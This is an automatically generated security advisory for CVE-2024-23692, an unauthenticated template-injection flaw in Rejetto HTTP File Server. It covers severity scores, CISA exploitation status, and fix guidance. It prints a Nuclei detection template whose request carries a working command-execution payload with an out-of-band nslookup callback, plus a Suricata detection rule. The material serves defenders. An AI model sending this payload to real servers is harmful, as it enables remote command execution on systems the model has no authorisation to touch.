CVE-2024-23692: Rejetto HTTP File Server exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.

Description quoted from the CVE record (assigned by VulnCheck, published 2024-05-31).

Weakness: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2024-07-09
US federal deadline: 2024-07-30
Ransomware use: Yes

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Metasploit module, 2 Exploit-DB entries, 1 Nuclei template, 18 code repositories and 1 research write-up naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 36 references on Exploit Observer

Live scores

EPSS: 0.995
very likely to be attacked soon
VEDAS: 0.981
strong exploit evidence
On CISA KEV: Yes, since 2024-07-09
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Rejetto HTTP File Server	up to and including 2.3m	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

https://github.com/rapid7/metasploit-framework/pull/19240 (issue-tracking, patch)

How to detect it

Nuclei template (active check)

Rejetto HFS - Server-Side Template Injection
Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%pas...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-23692.yaml

Show the template (37 lines)

yaml

id: CVE-2024-23692

info:
  name: "Rejetto HFS - Server-Side Template Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection
    vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on
    the affected system by sending a specially crafted HTTP request.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-23692&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=hfs&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23692
    cwe-id: CWE-1336
  metadata:
    verified: false
  tags: cve,cve2024,hfs,rejetto,rce,kev,vkev,vuln
http:
  - method: GET
    path:
      - "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "rejetto"

CVE-2024-23692.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-23692 Rejetto HFS - Server-Side Template Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-23692 Rejetto HFS - Server-Side Template Injection"; flow:established,to_server; http.uri; content:"nslookup"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-23692; reference:url,https://www.exploit.observer/?keyword=CVE-2024-23692&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=hfs&match=exact; sid:1000160; rev:2;)

CVE-2024-23692.rules on GitHub

Advisories on this CVE

Rejetto HFS CVE-2026-61500: an AI-found bug attacked the day after its write-up (full advisory)

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.